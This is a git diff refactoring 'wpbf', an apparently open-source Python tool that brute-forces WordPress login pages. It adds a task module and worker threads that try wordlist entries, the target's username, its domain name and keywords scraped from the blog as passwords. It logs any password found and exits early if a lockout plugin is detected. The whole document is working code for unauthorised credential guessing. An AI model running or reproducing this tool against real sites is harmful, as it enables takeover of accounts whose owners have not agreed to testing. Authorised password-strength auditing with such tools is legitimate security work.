diff --git a/wpbf.py b/wpbf.py index 59ec139..c05bb91 100755 --- a/wpbf.py +++ b/wpbf.py @@ -21,26 +21,22 @@ import urllib2, urlparse import sys, threading, Queue, time, argparse -import config, wplib +import config, wplib, wptask -class WpbfThread(threading.Thread): - """Handle threads that consume the wordlist queue and try to login for each word""" - def __init__(self, wordlist_queue): +class WpbfWorker(threading.Thread): + """Handle threads that consume the tasks queue""" + def __init__(self, task_queue): threading.Thread.__init__(self) - self._queue = wordlist_queue + self._queue = task_queue def run(self): while self._queue.qsize() > 0: try: - word = self._queue.get() - if wp.login(config.username, word): - logger.info("Password '%s' found for username '%s' on %s", word, config.username, wp.get_login_url()) - self._queue.queue.clear() + task = self._queue.get() + task.run() self._queue.task_done() - except urllib2.HTTPError, e: - logger.debug("HTTP Error: %s for: %s", str(e), word) - self._queue.put(word) - logger.debug("Requeued: %s", word) + except wptask.WpTaskStop: + self._queue.queue.clear() if __name__ == '__main__': #parse command line arguments @@ -94,7 +90,7 @@ def run(self): exit(0) # queue - queue = Queue.Queue() + task_queue = Queue.Queue() # check URL and username logger.info("Checking URL & username...") @@ -127,50 +123,53 @@ def run(self): logger.info("Check if proxy is well configured and running") sys.exit(0) + # load fingerprint task into queue + if args.nofingerprint: + task_queue.put(wptask.WpTaskFingerprint(config.wp_base_url, config.script_path, config.proxy)) + # check for Login LockDown plugin logger.debug("Checking for Login LockDown plugin") if wp.check_loginlockdown(): logger.warning("Login LockDown plugin is active, bruteforce will be useless") sys.exit(0) - # load username into queue - if config.username not in queue.queue: - queue.put(config.username) - # load wordlist into queue + wordlist = [config.username] # add username to the wordlist logger.debug("Loading wordlist...") try: - [queue.put(w.strip()) for w in open(config.wordlist, "r").readlines()] + [wordlist.append(w.strip()) for w in open(config.wordlist, "r").readlines()] except IOError: logger.error("Can't open '%s' the wordlist will not be used!", config.wordlist) - logger.debug("%s words loaded from %s", str(queue.qsize()), config.wordlist) + logger.debug("%s words loaded from %s", str(len(wordlist)), config.wordlist) # load into queue additional keywords from blog main page if args.nokeywords: - logger.info("Load into queue additional words using keywords from blog...") - queue.put(wplib.filter_domain(urlparse.urlparse(wp.get_base_url()).hostname)) # add domain name to the queue - [queue.put(w) for w in wp.find_keywords_in_url(config.min_keyword_len, config.min_frequency, config.ignore_with) ] - - # wordpress version - if args.nofingerprint: - if wp.fingerprint(): - logger.info("WordPress version: %s", wp.get_version()) - - # spawn threads - logger.info("Bruteforcing...") + logger.info("Loading additional keywords from blog to the wordlist...") + wordlist.append(wplib.filter_domain(urlparse.urlparse(wp.get_base_url()).hostname)) # add domain name to the queue + [wordlist.append(w) for w in wp.find_keywords_in_url(config.min_keyword_len, config.min_frequency, config.ignore_with) ] + + # load logins into task queue + for password in wordlist: + login_task = wptask.WpTaskLogin(config.wp_base_url, config.script_path, config.proxy) + login_task.setUsername(config.username) + login_task.setPassword(password) + task_queue.put(login_task) + + # start workers + logger.info("Starting workers...") for i in range(config.threads): - t = WpbfThread(queue) + t = WpbfWorker(task_queue) t.start() # feedback to stdout - while queue.qsize() > 0: + while task_queue.qsize() > 0: try: # poor ETA implementation start_time = time.time() - start_queue = queue.qsize() + start_queue = task_queue.qsize() time.sleep(10) delta_time = time.time() - start_time - current_queue = queue.qsize() + current_queue = task_queue.qsize() delta_queue = start_queue - current_queue try: wps = delta_time / delta_queue @@ -179,6 +178,6 @@ def run(self): print str(current_queue)+" words left / "+str(round(1 / wps, 2))+" passwords per second / "+str( round((wps*current_queue / 60)/60, 2) )+"h left" except KeyboardInterrupt: logger.info("Clearing queue and killing threads...") - queue.queue.clear() + task_queue.queue.clear() for t in threading.enumerate()[1:]: t.join() diff --git a/wplib.py b/wplib.py index 26b18c3..472a28b 100644 --- a/wplib.py +++ b/wplib.py @@ -171,7 +171,6 @@ def find_username(self, url=False): """Try to find a suitable username searching for common strings used in templates that refers to authors of blog posts url -- Any URL in the blog that can contain author references - proxy -- URL of a HTTP proxy """ if url: data = self.request(url, [], True) @@ -334,7 +333,7 @@ def check_loginlockdown(self): def fingerprint(self): """Try to fetch WordPress version from "generator" meta tag in main page - return - WordPress version or false if now found + return - WordPress version or false if not found """ data = self.request(self._base_url, [], True) m = re.search('', data) diff --git a/wptask.py b/wptask.py new file mode 100644 index 0000000..183212c --- /dev/null +++ b/wptask.py @@ -0,0 +1,54 @@ +""" +wpbf is a WordPress BruteForce script to remotely test password strength of the WordPress blogging software + +Copyright 2011 Andres Tarantini (atarantini@gmail.com) + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +""" +from wplib import Wp + +class WpTask(): + """Base task class""" + def run(self): + pass + +class WpTaskStop(Exception): + """Stop all tasks""" + def __str__(self): + return 'Stop all tasks!' + +class WpTaskFingerprint(Wp, WpTask): + """Perform WordPress fingerprint and, is positive, log the results""" + def run(self): + self.logger.info("WordPress version: %s", self.fingerprint()) + +class WpTaskLogin(Wp, WpTask): + """Perform WordPress login. If login is positive, will return true or false otherwise. + + Note that username and password must be set invoking setUsername and setPassword methods. + """ + _username = '' + _password = '' + + def setUsername(self, username): + self._username = username + + def setPassword(self, password): + self._password = password + + def run(self): + if self.login(self._username, self._password): + # username and password found: log data and stop all tasks + self.logger.info("Password '%s' found for username '%s' on %s", self._password, self._username, self.get_login_url()) + raise WpTaskStop